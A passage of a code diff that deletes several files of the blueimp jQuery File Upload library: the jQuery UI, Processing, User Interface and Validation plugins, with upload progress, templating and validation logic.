||||
|
||||
_renderDownload: function (func, files) {
|
||||
var node = this._super(func, files),
|
||||
showIconText = $(window).width() > 480;
|
||||
node.find('.delete').button({
|
||||
icons: {primary: 'ui-icon-trash'},
|
||||
text: showIconText
|
||||
});
|
||||
if (node.hasClass('fade')) {
|
||||
node.hide();
|
||||
}
|
||||
return node;
|
||||
},
|
||||
|
||||
_startHandler: function (e) {
|
||||
$(e.currentTarget).button('disable');
|
||||
this._super(e);
|
||||
},
|
||||
|
||||
_transition: function (node) {
|
||||
var deferred = $.Deferred();
|
||||
if (node.hasClass('fade')) {
|
||||
node.fadeToggle(
|
||||
this.options.transitionDuration,
|
||||
this.options.transitionEasing,
|
||||
function () {
|
||||
deferred.resolveWith(node);
|
||||
}
|
||||
);
|
||||
} else {
|
||||
deferred.resolveWith(node);
|
||||
}
|
||||
return deferred;
|
||||
},
|
||||
|
||||
_create: function () {
|
||||
this._super();
|
||||
this.element
|
||||
.find('.fileupload-buttonbar')
|
||||
.find('.fileinput-button').each(function () {
|
||||
var input = $(this).find('input:file').detach();
|
||||
$(this)
|
||||
.button({icons: {primary: 'ui-icon-plusthick'}})
|
||||
.append(input);
|
||||
})
|
||||
.end().find('.start')
|
||||
.button({icons: {primary: 'ui-icon-circle-arrow-e'}})
|
||||
.end().find('.cancel')
|
||||
.button({icons: {primary: 'ui-icon-cancel'}})
|
||||
.end().find('.delete')
|
||||
.button({icons: {primary: 'ui-icon-trash'}})
|
||||
.end().find('.progress').progressbar();
|
||||
},
|
||||
|
||||
_destroy: function () {
|
||||
this.element
|
||||
.find('.fileupload-buttonbar')
|
||||
.find('.fileinput-button').each(function () {
|
||||
var input = $(this).find('input:file').detach();
|
||||
$(this)
|
||||
.button('destroy')
|
||||
.append(input);
|
||||
})
|
||||
.end().find('.start')
|
||||
.button('destroy')
|
||||
.end().find('.cancel')
|
||||
.button('destroy')
|
||||
.end().find('.delete')
|
||||
.button('destroy')
|
||||
.end().find('.progress').progressbar('destroy');
|
||||
this._super();
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
}));
|
||||
@@ -1,175 +0,0 @@
|
||||
/*
|
||||
* jQuery File Upload Processing Plugin
|
||||
* https://github.com/blueimp/jQuery-File-Upload
|
||||
*
|
||||
* Copyright 2012, Sebastian Tschan
|
||||
* https://blueimp.net
|
||||
*
|
||||
* Licensed under the MIT license:
|
||||
* http://www.opensource.org/licenses/MIT
|
||||
*/
|
||||
|
||||
/* jshint nomen:false */
|
||||
/* global define, require, window */
|
||||
|
||||
(function (factory) {
|
||||
'use strict';
|
||||
if (typeof define === 'function' && define.amd) {
|
||||
// Register as an anonymous AMD module:
|
||||
define([
|
||||
'jquery.fileupload.js',
|
||||
'./jquery.fileupload'
|
||||
], factory);
|
||||
} else if (typeof exports === 'object') {
|
||||
// Node/CommonJS:
|
||||
factory(require('jquery'));
|
||||
} else {
|
||||
// Browser globals:
|
||||
factory(
|
||||
window.jQuery
|
||||
);
|
||||
}
|
||||
}(function ($) {
|
||||
'use strict';
|
||||
|
||||
var originalAdd = $.blueimp.fileupload.prototype.options.add;
|
||||
|
||||
// The File Upload Processing plugin extends the fileupload widget
|
||||
// with file processing functionality:
|
||||
$.widget('blueimp.fileupload', $.blueimp.fileupload, {
|
||||
|
||||
options: {
|
||||
// The list of processing actions:
|
||||
processQueue: [
|
||||
/*
|
||||
{
|
||||
action: 'log',
|
||||
type: 'debug'
|
||||
}
|
||||
*/
|
||||
],
|
||||
add: function (e, data) {
|
||||
var $this = $(this);
|
||||
data.process(function () {
|
||||
return $this.fileupload('process', data);
|
||||
});
|
||||
originalAdd.call(this, e, data);
|
||||
}
|
||||
},
|
||||
|
||||
processActions: {
|
||||
/*
|
||||
log: function (data, options) {
|
||||
console[options.type](
|
||||
'Processing "' + data.files[data.index].name + '"'
|
||||
);
|
||||
}
|
||||
*/
|
||||
},
|
||||
|
||||
_processFile: function (data, originalData) {
|
||||
var that = this,
|
||||
dfd = $.Deferred().resolveWith(that, [data]),
|
||||
chain = dfd.promise();
|
||||
this._trigger('process', null, data);
|
||||
$.each(data.processQueue, function (i, settings) {
|
||||
var func = function (data) {
|
||||
if (originalData.errorThrown) {
|
||||
return $.Deferred()
|
||||
.rejectWith(that, [originalData]).promise();
|
||||
}
|
||||
return that.processActions[settings.action].call(
|
||||
that,
|
||||
data,
|
||||
settings
|
||||
);
|
||||
};
|
||||
chain = chain.pipe(func, settings.always && func);
|
||||
});
|
||||
chain
|
||||
.done(function () {
|
||||
that._trigger('processdone', null, data);
|
||||
that._trigger('processalways', null, data);
|
||||
})
|
||||
.fail(function () {
|
||||
that._trigger('processfail', null, data);
|
||||
that._trigger('processalways', null, data);
|
||||
});
|
||||
return chain;
|
||||
},
|
||||
|
||||
// Replaces the settings of each processQueue item that
|
||||
// are strings starting with an "@", using the remaining
|
||||
// substring as key for the option map,
|
||||
// e.g. "@autoUpload" is replaced with options.autoUpload:
|
||||
_transformProcessQueue: function (options) {
|
||||
var processQueue = [];
|
||||
$.each(options.processQueue, function () {
|
||||
var settings = {},
|
||||
action = this.action,
|
||||
prefix = this.prefix === true ? action : this.prefix;
|
||||
$.each(this, function (key, value) {
|
||||
if ($.type(value) === 'string' &&
|
||||
value.charAt(0) === '@') {
|
||||
settings[key] = options[
|
||||
value.slice(1) || (prefix ? prefix +
|
||||
key.charAt(0).toUpperCase() + key.slice(1) : key)
|
||||
];
|
||||
} else {
|
||||
settings[key] = value;
|
||||
}
|
||||
|
||||
});
|
||||
processQueue.push(settings);
|
||||
});
|
||||
options.processQueue = processQueue;
|
||||
},
|
||||
|
||||
// Returns the number of files currently in the processsing queue:
|
||||
processing: function () {
|
||||
return this._processing;
|
||||
},
|
||||
|
||||
// Processes the files given as files property of the data parameter,
|
||||
// returns a Promise object that allows to bind callbacks:
|
||||
process: function (data) {
|
||||
var that = this,
|
||||
options = $.extend({}, this.options, data);
|
||||
if (options.processQueue && options.processQueue.length) {
|
||||
this._transformProcessQueue(options);
|
||||
if (this._processing === 0) {
|
||||
this._trigger('processstart');
|
||||
}
|
||||
$.each(data.files, function (index) {
|
||||
var opts = index ? $.extend({}, options) : options,
|
||||
func = function () {
|
||||
if (data.errorThrown) {
|
||||
return $.Deferred()
|
||||
.rejectWith(that, [data]).promise();
|
||||
}
|
||||
return that._processFile(opts, data);
|
||||
};
|
||||
opts.index = index;
|
||||
that._processing += 1;
|
||||
that._processingQueue = that._processingQueue.pipe(func, func)
|
||||
.always(function () {
|
||||
that._processing -= 1;
|
||||
if (that._processing === 0) {
|
||||
that._trigger('processstop');
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
return this._processingQueue;
|
||||
},
|
||||
|
||||
_create: function () {
|
||||
this._super();
|
||||
this._processing = 0;
|
||||
this._processingQueue = $.Deferred().resolveWith(this)
|
||||
.promise();
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
}));
|
||||
@@ -1,710 +0,0 @@
|
||||
/*
|
||||
* jQuery File Upload User Interface Plugin
|
||||
* https://github.com/blueimp/jQuery-File-Upload
|
||||
*
|
||||
* Copyright 2010, Sebastian Tschan
|
||||
* https://blueimp.net
|
||||
*
|
||||
* Licensed under the MIT license:
|
||||
* http://www.opensource.org/licenses/MIT
|
||||
*/
|
||||
|
||||
/* jshint nomen:false */
|
||||
/* global define, require, window */
|
||||
|
||||
(function (factory) {
|
||||
'use strict';
|
||||
if (typeof define === 'function' && define.amd) {
|
||||
// Register as an anonymous AMD module:
|
||||
define([
|
||||
'jquery.fileupload.js',
|
||||
'tmpl',
|
||||
'./jquery.fileupload-image',
|
||||
'./jquery.fileupload-audio',
|
||||
'./jquery.fileupload-video',
|
||||
'./jquery.fileupload-validate'
|
||||
], factory);
|
||||
} else if (typeof exports === 'object') {
|
||||
// Node/CommonJS:
|
||||
factory(
|
||||
require('jquery'),
|
||||
require('tmpl')
|
||||
);
|
||||
} else {
|
||||
// Browser globals:
|
||||
factory(
|
||||
window.jQuery,
|
||||
window.tmpl
|
||||
);
|
||||
}
|
||||
}(function ($, tmpl) {
|
||||
'use strict';
|
||||
|
||||
$.blueimp.fileupload.prototype._specialOptions.push(
|
||||
'filesContainer',
|
||||
'uploadTemplateId',
|
||||
'downloadTemplateId'
|
||||
);
|
||||
|
||||
// The UI version extends the file upload widget
|
||||
// and adds complete user interface interaction:
|
||||
$.widget('blueimp.fileupload', $.blueimp.fileupload, {
|
||||
|
||||
options: {
|
||||
// By default, files added to the widget are uploaded as soon
|
||||
// as the user clicks on the start buttons. To enable automatic
|
||||
// uploads, set the following option to true:
|
||||
autoUpload: false,
|
||||
// The ID of the upload template:
|
||||
uploadTemplateId: 'template-upload',
|
||||
// The ID of the download template:
|
||||
downloadTemplateId: 'template-download',
|
||||
// The container for the list of files. If undefined, it is set to
|
||||
// an element with class "files" inside of the widget element:
|
||||
filesContainer: undefined,
|
||||
// By default, files are appended to the files container.
|
||||
// Set the following option to true, to prepend files instead:
|
||||
prependFiles: false,
|
||||
// The expected data type of the upload response, sets the dataType
|
||||
// option of the $.ajax upload requests:
|
||||
dataType: 'json',
|
||||
|
||||
// Error and info messages:
|
||||
messages: {
|
||||
unknownError: 'Unknown error'
|
||||
},
|
||||
|
||||
// Function returning the current number of files,
|
||||
// used by the maxNumberOfFiles validation:
|
||||
getNumberOfFiles: function () {
|
||||
return this.filesContainer.children()
|
||||
.not('.processing').length;
|
||||
},
|
||||
|
||||
// Callback to retrieve the list of files from the server response:
|
||||
getFilesFromResponse: function (data) {
|
||||
if (data.result && $.isArray(data.result.files)) {
|
||||
return data.result.files;
|
||||
}
|
||||
return [];
|
||||
},
|
||||
|
||||
// The add callback is invoked as soon as files are added to the fileupload
|
||||
// widget (via file input selection, drag & drop or add API call).
|
||||
// See the basic file upload widget for more information:
|
||||
add: function (e, data) {
|
||||
if (e.isDefaultPrevented()) {
|
||||
return false;
|
||||
}
|
||||
var $this = $(this),
|
||||
that = $this.data('blueimp-fileupload') ||
|
||||
$this.data('fileupload'),
|
||||
options = that.options;
|
||||
data.context = that._renderUpload(data.files)
|
||||
.data('data', data)
|
||||
.addClass('processing');
|
||||
options.filesContainer[
|
||||
options.prependFiles ? 'prepend' : 'append'
|
||||
](data.context);
|
||||
that._forceReflow(data.context);
|
||||
that._transition(data.context);
|
||||
data.process(function () {
|
||||
return $this.fileupload('process', data);
|
||||
}).always(function () {
|
||||
data.context.each(function (index) {
|
||||
$(this).find('.size').text(
|
||||
that._formatFileSize(data.files[index].size)
|
||||
);
|
||||
}).removeClass('processing');
|
||||
that._renderPreviews(data);
|
||||
}).done(function () {
|
||||
data.context.find('.start').prop('disabled', false);
|
||||
if ((that._trigger('added', e, data) !== false) &&
|
||||
(options.autoUpload || data.autoUpload) &&
|
||||
data.autoUpload !== false) {
|
||||
data.submit();
|
||||
}
|
||||
}).fail(function () {
|
||||
if (data.files.error) {
|
||||
data.context.each(function (index) {
|
||||
var error = data.files[index].error;
|
||||
if (error) {
|
||||
$(this).find('.error').text(error);
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
},
|
||||
// Callback for the start of each file upload request:
|
||||
send: function (e, data) {
|
||||
if (e.isDefaultPrevented()) {
|
||||
return false;
|
||||
}
|
||||
var that = $(this).data('blueimp-fileupload') ||
|
||||
$(this).data('fileupload');
|
||||
if (data.context && data.dataType &&
|
||||
data.dataType.substr(0, 6) === 'iframe') {
|
||||
// Iframe Transport does not support progress events.
|
||||
// In lack of an indeterminate progress bar, we set
|
||||
// the progress to 100%, showing the full animated bar:
|
||||
data.context
|
||||
.find('.progress').addClass(
|
||||
!$.support.transition && 'progress-animated'
|
||||
)
|
||||
.attr('aria-valuenow', 100)
|
||||
.children().first().css(
|
||||
'width',
|
||||
'100%'
|
||||
);
|
||||
}
|
||||
return that._trigger('sent', e, data);
|
||||
},
|
||||
// Callback for successful uploads:
|
||||
done: function (e, data) {
|
||||
if (e.isDefaultPrevented()) {
|
||||
return false;
|
||||
}
|
||||
var that = $(this).data('blueimp-fileupload') ||
|
||||
$(this).data('fileupload'),
|
||||
getFilesFromResponse = data.getFilesFromResponse ||
|
||||
that.options.getFilesFromResponse,
|
||||
files = getFilesFromResponse(data),
|
||||
template,
|
||||
deferred;
|
||||
if (data.context) {
|
||||
data.context.each(function (index) {
|
||||
var file = files[index] ||
|
||||
{error: 'Empty file upload result'};
|
||||
deferred = that._addFinishedDeferreds();
|
||||
that._transition($(this)).done(
|
||||
function () {
|
||||
var node = $(this);
|
||||
template = that._renderDownload([file])
|
||||
.replaceAll(node);
|
||||
that._forceReflow(template);
|
||||
that._transition(template).done(
|
||||
function () {
|
||||
data.context = $(this);
|
||||
that._trigger('completed', e, data);
|
||||
that._trigger('finished', e, data);
|
||||
deferred.resolve();
|
||||
}
|
||||
);
|
||||
}
|
||||
);
|
||||
});
|
||||
} else {
|
||||
template = that._renderDownload(files)[
|
||||
that.options.prependFiles ? 'prependTo' : 'appendTo'
|
||||
](that.options.filesContainer);
|
||||
that._forceReflow(template);
|
||||
deferred = that._addFinishedDeferreds();
|
||||
that._transition(template).done(
|
||||
function () {
|
||||
data.context = $(this);
|
||||
that._trigger('completed', e, data);
|
||||
that._trigger('finished', e, data);
|
||||
deferred.resolve();
|
||||
}
|
||||
);
|
||||
}
|
||||
},
|
||||
// Callback for failed (abort or error) uploads:
|
||||
fail: function (e, data) {
|
||||
if (e.isDefaultPrevented()) {
|
||||
return false;
|
||||
}
|
||||
var that = $(this).data('blueimp-fileupload') ||
|
||||
$(this).data('fileupload'),
|
||||
template,
|
||||
deferred;
|
||||
if (data.context) {
|
||||
data.context.each(function (index) {
|
||||
if (data.errorThrown !== 'abort') {
|
||||
var file = data.files[index];
|
||||
file.error = file.error || data.errorThrown ||
|
||||
data.i18n('unknownError');
|
||||
deferred = that._addFinishedDeferreds();
|
||||
that._transition($(this)).done(
|
||||
function () {
|
||||
var node = $(this);
|
||||
template = that._renderDownload([file])
|
||||
.replaceAll(node);
|
||||
that._forceReflow(template);
|
||||
that._transition(template).done(
|
||||
function () {
|
||||
data.context = $(this);
|
||||
that._trigger('failed', e, data);
|
||||
that._trigger('finished', e, data);
|
||||
deferred.resolve();
|
||||
}
|
||||
);
|
||||
}
|
||||
);
|
||||
} else {
|
||||
deferred = that._addFinishedDeferreds();
|
||||
that._transition($(this)).done(
|
||||
function () {
|
||||
$(this).remove();
|
||||
that._trigger('failed', e, data);
|
||||
that._trigger('finished', e, data);
|
||||
deferred.resolve();
|
||||
}
|
||||
);
|
||||
}
|
||||
});
|
||||
} else if (data.errorThrown !== 'abort') {
|
||||
data.context = that._renderUpload(data.files)[
|
||||
that.options.prependFiles ? 'prependTo' : 'appendTo'
|
||||
](that.options.filesContainer)
|
||||
.data('data', data);
|
||||
that._forceReflow(data.context);
|
||||
deferred = that._addFinishedDeferreds();
|
||||
that._transition(data.context).done(
|
||||
function () {
|
||||
data.context = $(this);
|
||||
that._trigger('failed', e, data);
|
||||
that._trigger('finished', e, data);
|
||||
deferred.resolve();
|
||||
}
|
||||
);
|
||||
} else {
|
||||
that._trigger('failed', e, data);
|
||||
that._trigger('finished', e, data);
|
||||
that._addFinishedDeferreds().resolve();
|
||||
}
|
||||
},
|
||||
// Callback for upload progress events:
|
||||
progress: function (e, data) {
|
||||
if (e.isDefaultPrevented()) {
|
||||
return false;
|
||||
}
|
||||
var progress = Math.floor(data.loaded / data.total * 100);
|
||||
if (data.context) {
|
||||
data.context.each(function () {
|
||||
$(this).find('.progress')
|
||||
.attr('aria-valuenow', progress)
|
||||
.children().first().css(
|
||||
'width',
|
||||
progress + '%'
|
||||
);
|
||||
});
|
||||
}
|
||||
},
|
||||
// Callback for global upload progress events:
|
||||
progressall: function (e, data) {
|
||||
if (e.isDefaultPrevented()) {
|
||||
return false;
|
||||
}
|
||||
var $this = $(this),
|
||||
progress = Math.floor(data.loaded / data.total * 100),
|
||||
globalProgressNode = $this.find('.fileupload-progress'),
|
||||
extendedProgressNode = globalProgressNode
|
||||
.find('.progress-extended');
|
||||
if (extendedProgressNode.length) {
|
||||
extendedProgressNode.html(
|
||||
($this.data('blueimp-fileupload') || $this.data('fileupload'))
|
||||
._renderExtendedProgress(data)
|
||||
);
|
||||
}
|
||||
globalProgressNode
|
||||
.find('.progress')
|
||||
.attr('aria-valuenow', progress)
|
||||
.children().first().css(
|
||||
'width',
|
||||
progress + '%'
|
||||
);
|
||||
},
|
||||
// Callback for uploads start, equivalent to the global ajaxStart event:
|
||||
start: function (e) {
|
||||
if (e.isDefaultPrevented()) {
|
||||
return false;
|
||||
}
|
||||
var that = $(this).data('blueimp-fileupload') ||
|
||||
$(this).data('fileupload');
|
||||
that._resetFinishedDeferreds();
|
||||
that._transition($(this).find('.fileupload-progress')).done(
|
||||
function () {
|
||||
that._trigger('started', e);
|
||||
}
|
||||
);
|
||||
},
|
||||
// Callback for uploads stop, equivalent to the global ajaxStop event:
|
||||
stop: function (e) {
|
||||
if (e.isDefaultPrevented()) {
|
||||
return false;
|
||||
}
|
||||
var that = $(this).data('blueimp-fileupload') ||
|
||||
$(this).data('fileupload'),
|
||||
deferred = that._addFinishedDeferreds();
|
||||
$.when.apply($, that._getFinishedDeferreds())
|
||||
.done(function () {
|
||||
that._trigger('stopped', e);
|
||||
});
|
||||
that._transition($(this).find('.fileupload-progress')).done(
|
||||
function () {
|
||||
$(this).find('.progress')
|
||||
.attr('aria-valuenow', '0')
|
||||
.children().first().css('width', '0%');
|
||||
$(this).find('.progress-extended').html(' ');
|
||||
deferred.resolve();
|
||||
}
|
||||
);
|
||||
},
|
||||
processstart: function (e) {
|
||||
if (e.isDefaultPrevented()) {
|
||||
return false;
|
||||
}
|
||||
$(this).addClass('fileupload-processing');
|
||||
},
|
||||
processstop: function (e) {
|
||||
if (e.isDefaultPrevented()) {
|
||||
return false;
|
||||
}
|
||||
$(this).removeClass('fileupload-processing');
|
||||
},
|
||||
// Callback for file deletion:
|
||||
destroy: function (e, data) {
|
||||
if (e.isDefaultPrevented()) {
|
||||
return false;
|
||||
}
|
||||
var that = $(this).data('blueimp-fileupload') ||
|
||||
$(this).data('fileupload'),
|
||||
removeNode = function () {
|
||||
that._transition(data.context).done(
|
||||
function () {
|
||||
$(this).remove();
|
||||
that._trigger('destroyed', e, data);
|
||||
}
|
||||
);
|
||||
};
|
||||
if (data.url) {
|
||||
data.dataType = data.dataType || that.options.dataType;
|
||||
$.ajax(data).done(removeNode).fail(function () {
|
||||
that._trigger('destroyfailed', e, data);
|
||||
});
|
||||
} else {
|
||||
removeNode();
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
_resetFinishedDeferreds: function () {
|
||||
this._finishedUploads = [];
|
||||
},
|
||||
|
||||
_addFinishedDeferreds: function (deferred) {
|
||||
if (!deferred) {
|
||||
deferred = $.Deferred();
|
||||
}
|
||||
this._finishedUploads.push(deferred);
|
||||
return deferred;
|
||||
},
|
||||
|
||||
_getFinishedDeferreds: function () {
|
||||
return this._finishedUploads;
|
||||
},
|
||||
|
||||
// Link handler, that allows to download files
|
||||
// by drag & drop of the links to the desktop:
|
||||
_enableDragToDesktop: function () {
|
||||
var link = $(this),
|
||||
url = link.prop('href'),
|
||||
name = link.prop('download'),
|
||||
type = 'application/octet-stream';
|
||||
link.bind('dragstart', function (e) {
|
||||
try {
|
||||
e.originalEvent.dataTransfer.setData(
|
||||
'DownloadURL',
|
||||
[type, name, url].join(':')
|
||||
);
|
||||
} catch (ignore) {}
|
||||
});
|
||||
},
|
||||
|
||||
_formatFileSize: function (bytes) {
|
||||
if (typeof bytes !== 'number') {
|
||||
return '';
|
||||
}
|
||||
if (bytes >= 1000000000) {
|
||||
return (bytes / 1000000000).toFixed(2) + ' GB';
|
||||
}
|
||||
if (bytes >= 1000000) {
|
||||
return (bytes / 1000000).toFixed(2) + ' MB';
|
||||
}
|
||||
return (bytes / 1000).toFixed(2) + ' KB';
|
||||
},
|
||||
|
||||
_formatBitrate: function (bits) {
|
||||
if (typeof bits !== 'number') {
|
||||
return '';
|
||||
}
|
||||
if (bits >= 1000000000) {
|
||||
return (bits / 1000000000).toFixed(2) + ' Gbit/s';
|
||||
}
|
||||
if (bits >= 1000000) {
|
||||
return (bits / 1000000).toFixed(2) + ' Mbit/s';
|
||||
}
|
||||
if (bits >= 1000) {
|
||||
return (bits / 1000).toFixed(2) + ' kbit/s';
|
||||
}
|
||||
return bits.toFixed(2) + ' bit/s';
|
||||
},
|
||||
|
||||
_formatTime: function (seconds) {
|
||||
var date = new Date(seconds * 1000),
|
||||
days = Math.floor(seconds / 86400);
|
||||
days = days ? days + 'd ' : '';
|
||||
return days +
|
||||
('0' + date.getUTCHours()).slice(-2) + ':' +
|
||||
('0' + date.getUTCMinutes()).slice(-2) + ':' +
|
||||
('0' + date.getUTCSeconds()).slice(-2);
|
||||
},
|
||||
|
||||
_formatPercentage: function (floatValue) {
|
||||
return (floatValue * 100).toFixed(2) + ' %';
|
||||
},
|
||||
|
||||
_renderExtendedProgress: function (data) {
|
||||
return this._formatBitrate(data.bitrate) + ' | ' +
|
||||
this._formatTime(
|
||||
(data.total - data.loaded) * 8 / data.bitrate
|
||||
) + ' | ' +
|
||||
this._formatPercentage(
|
||||
data.loaded / data.total
|
||||
) + ' | ' +
|
||||
this._formatFileSize(data.loaded) + ' / ' +
|
||||
this._formatFileSize(data.total);
|
||||
},
|
||||
|
||||
_renderTemplate: function (func, files) {
|
||||
if (!func) {
|
||||
return $();
|
||||
}
|
||||
var result = func({
|
||||
files: files,
|
||||
formatFileSize: this._formatFileSize,
|
||||
options: this.options
|
||||
});
|
||||
if (result instanceof $) {
|
||||
return result;
|
||||
}
|
||||
return $(this.options.templatesContainer).html(result).children();
|
||||
},
|
||||
|
||||
_renderPreviews: function (data) {
|
||||
data.context.find('.preview').each(function (index, elm) {
|
||||
$(elm).append(data.files[index].preview);
|
||||
});
|
||||
},
|
||||
|
||||
_renderUpload: function (files) {
|
||||
return this._renderTemplate(
|
||||
this.options.uploadTemplate,
|
||||
files
|
||||
);
|
||||
},
|
||||
|
||||
_renderDownload: function (files) {
|
||||
return this._renderTemplate(
|
||||
this.options.downloadTemplate,
|
||||
files
|
||||
).find('a[download]').each(this._enableDragToDesktop).end();
|
||||
},
|
||||
|
||||
_startHandler: function (e) {
|
||||
e.preventDefault();
|
||||
var button = $(e.currentTarget),
|
||||
template = button.closest('.template-upload'),
|
||||
data = template.data('data');
|
||||
button.prop('disabled', true);
|
||||
if (data && data.submit) {
|
||||
data.submit();
|
||||
}
|
||||
},
|
||||
|
||||
_cancelHandler: function (e) {
|
||||
e.preventDefault();
|
||||
var template = $(e.currentTarget)
|
||||
.closest('.template-upload,.template-download'),
|
||||
data = template.data('data') || {};
|
||||
data.context = data.context || template;
|
||||
if (data.abort) {
|
||||
data.abort();
|
||||
} else {
|
||||
data.errorThrown = 'abort';
|
||||
this._trigger('fail', e, data);
|
||||
}
|
||||
},
|
||||
|
||||
_deleteHandler: function (e) {
|
||||
e.preventDefault();
|
||||
var button = $(e.currentTarget);
|
||||
this._trigger('destroy', e, $.extend({
|
||||
context: button.closest('.template-download'),
|
||||
type: 'DELETE'
|
||||
}, button.data()));
|
||||
},
|
||||
|
||||
_forceReflow: function (node) {
|
||||
return $.support.transition && node.length &&
|
||||
node[0].offsetWidth;
|
||||
},
|
||||
|
||||
_transition: function (node) {
|
||||
var dfd = $.Deferred();
|
||||
if ($.support.transition && node.hasClass('fade') && node.is(':visible')) {
|
||||
node.bind(
|
||||
$.support.transition.end,
|
||||
function (e) {
|
||||
// Make sure we don't respond to other transitions events
|
||||
// in the container element, e.g. from button elements:
|
||||
if (e.target === node[0]) {
|
||||
node.unbind($.support.transition.end);
|
||||
dfd.resolveWith(node);
|
||||
}
|
||||
}
|
||||
).toggleClass('in');
|
||||
} else {
|
||||
node.toggleClass('in');
|
||||
dfd.resolveWith(node);
|
||||
}
|
||||
return dfd;
|
||||
},
|
||||
|
||||
_initButtonBarEventHandlers: function () {
|
||||
var fileUploadButtonBar = this.element.find('.fileupload-buttonbar'),
|
||||
filesList = this.options.filesContainer;
|
||||
this._on(fileUploadButtonBar.find('.start'), {
|
||||
click: function (e) {
|
||||
e.preventDefault();
|
||||
filesList.find('.start').click();
|
||||
}
|
||||
});
|
||||
this._on(fileUploadButtonBar.find('.cancel'), {
|
||||
click: function (e) {
|
||||
e.preventDefault();
|
||||
filesList.find('.cancel').click();
|
||||
}
|
||||
});
|
||||
this._on(fileUploadButtonBar.find('.delete'), {
|
||||
click: function (e) {
|
||||
e.preventDefault();
|
||||
filesList.find('.toggle:checked')
|
||||
.closest('.template-download')
|
||||
.find('.delete').click();
|
||||
fileUploadButtonBar.find('.toggle')
|
||||
.prop('checked', false);
|
||||
}
|
||||
});
|
||||
this._on(fileUploadButtonBar.find('.toggle'), {
|
||||
change: function (e) {
|
||||
filesList.find('.toggle').prop(
|
||||
'checked',
|
||||
$(e.currentTarget).is(':checked')
|
||||
);
|
||||
}
|
||||
});
|
||||
},
|
||||
|
||||
_destroyButtonBarEventHandlers: function () {
|
||||
this._off(
|
||||
this.element.find('.fileupload-buttonbar')
|
||||
.find('.start, .cancel, .delete'),
|
||||
'click'
|
||||
);
|
||||
this._off(
|
||||
this.element.find('.fileupload-buttonbar .toggle'),
|
||||
'change.'
|
||||
);
|
||||
},
|
||||
|
||||
_initEventHandlers: function () {
|
||||
this._super();
|
||||
this._on(this.options.filesContainer, {
|
||||
'click .start': this._startHandler,
|
||||
'click .cancel': this._cancelHandler,
|
||||
'click .delete': this._deleteHandler
|
||||
});
|
||||
this._initButtonBarEventHandlers();
|
||||
},
|
||||
|
||||
_destroyEventHandlers: function () {
|
||||
this._destroyButtonBarEventHandlers();
|
||||
this._off(this.options.filesContainer, 'click');
|
||||
this._super();
|
||||
},
|
||||
|
||||
_enableFileInputButton: function () {
|
||||
this.element.find('.fileinput-button input')
|
||||
.prop('disabled', false)
|
||||
.parent().removeClass('disabled');
|
||||
},
|
||||
|
||||
_disableFileInputButton: function () {
|
||||
this.element.find('.fileinput-button input')
|
||||
.prop('disabled', true)
|
||||
.parent().addClass('disabled');
|
||||
},
|
||||
|
||||
_initTemplates: function () {
|
||||
var options = this.options;
|
||||
options.templatesContainer = this.document[0].createElement(
|
||||
options.filesContainer.prop('nodeName')
|
||||
);
|
||||
if (tmpl) {
|
||||
if (options.uploadTemplateId) {
|
||||
options.uploadTemplate = tmpl(options.uploadTemplateId);
|
||||
}
|
||||
if (options.downloadTemplateId) {
|
||||
options.downloadTemplate = tmpl(options.downloadTemplateId);
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
_initFilesContainer: function () {
|
||||
var options = this.options;
|
||||
if (options.filesContainer === undefined) {
|
||||
options.filesContainer = this.element.find('.files');
|
||||
} else if (!(options.filesContainer instanceof $)) {
|
||||
options.filesContainer = $(options.filesContainer);
|
||||
}
|
||||
},
|
||||
|
||||
_initSpecialOptions: function () {
|
||||
this._super();
|
||||
this._initFilesContainer();
|
||||
this._initTemplates();
|
||||
},
|
||||
|
||||
_create: function () {
|
||||
this._super();
|
||||
this._resetFinishedDeferreds();
|
||||
if (!$.support.fileInput) {
|
||||
this._disableFileInputButton();
|
||||
}
|
||||
},
|
||||
|
||||
enable: function () {
|
||||
var wasDisabled = false;
|
||||
if (this.options.disabled) {
|
||||
wasDisabled = true;
|
||||
}
|
||||
this._super();
|
||||
if (wasDisabled) {
|
||||
this.element.find('input, button').prop('disabled', false);
|
||||
this._enableFileInputButton();
|
||||
}
|
||||
},
|
||||
|
||||
disable: function () {
|
||||
if (!this.options.disabled) {
|
||||
this.element.find('input, button').prop('disabled', true);
|
||||
this._disableFileInputButton();
|
||||
}
|
||||
this._super();
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
}));
|
||||
@@ -1,122 +0,0 @@
|
||||
/*
|
||||
* jQuery File Upload Validation Plugin
|
||||
* https://github.com/blueimp/jQuery-File-Upload
|
||||
*
|
||||
* Copyright 2013, Sebastian Tschan
|
||||
* https://blueimp.net
|
||||
*
|
||||
* Licensed under the MIT license:
|
||||
* http://www.opensource.org/licenses/MIT
|
||||
*/
|
||||
|
||||
/* global define, require, window */
|
||||
|
||||
(function (factory) {
|
||||
'use strict';
|
||||
if (typeof define === 'function' && define.amd) {
|
||||
// Register as an anonymous AMD module:
|
||||
define([
|
||||
'jquery.fileupload.js',
|
||||
'./jquery.fileupload-process'
|
||||
], factory);
|
||||
} else if (typeof exports === 'object') {
|
||||
// Node/CommonJS:
|
||||
factory(require('jquery'));
|
||||
} else {
|
||||
// Browser globals:
|
||||
factory(
|
||||
window.jQuery
|
||||
);
|
||||
}
|
||||
}(function ($) {
|
||||
'use strict';
|
||||
|
||||
// Append to the default processQueue:
|
||||
$.blueimp.fileupload.prototype.options.processQueue.push(
|
||||
{
|
||||
action: 'validate',
|
||||
// Always trigger this action,
|
||||
// even if the previous action was rejected:
|
||||
always: true,
|
||||
// Options taken from the global options map:
|
||||
acceptFileTypes: '@',
|
||||
maxFileSize: '@',
|
||||
minFileSize: '@',
|
||||
maxNumberOfFiles: '@',
|
||||
disabled: '@disableValidation'
|
||||
}
|
||||
);
|
||||
|
||||
// The File Upload Validation plugin extends the fileupload widget
|
||||
// with file validation functionality:
|
||||
$.widget('blueimp.fileupload', $.blueimp.fileupload, {
|
||||
|
||||
options: {
|
||||
/*
|
||||
// The regular expression for allowed file types, matches
|
||||
// against either file type or file name:
|
||||
acceptFileTypes: /(\.|\/)(gif|jpe?g|png)$/i,
|
||||
// The maximum allowed file size in bytes:
|
||||
maxFileSize: 10000000, // 10 MB
|
||||
// The minimum allowed file size in bytes:
|
||||
minFileSize: undefined, // No minimal file size
|
||||
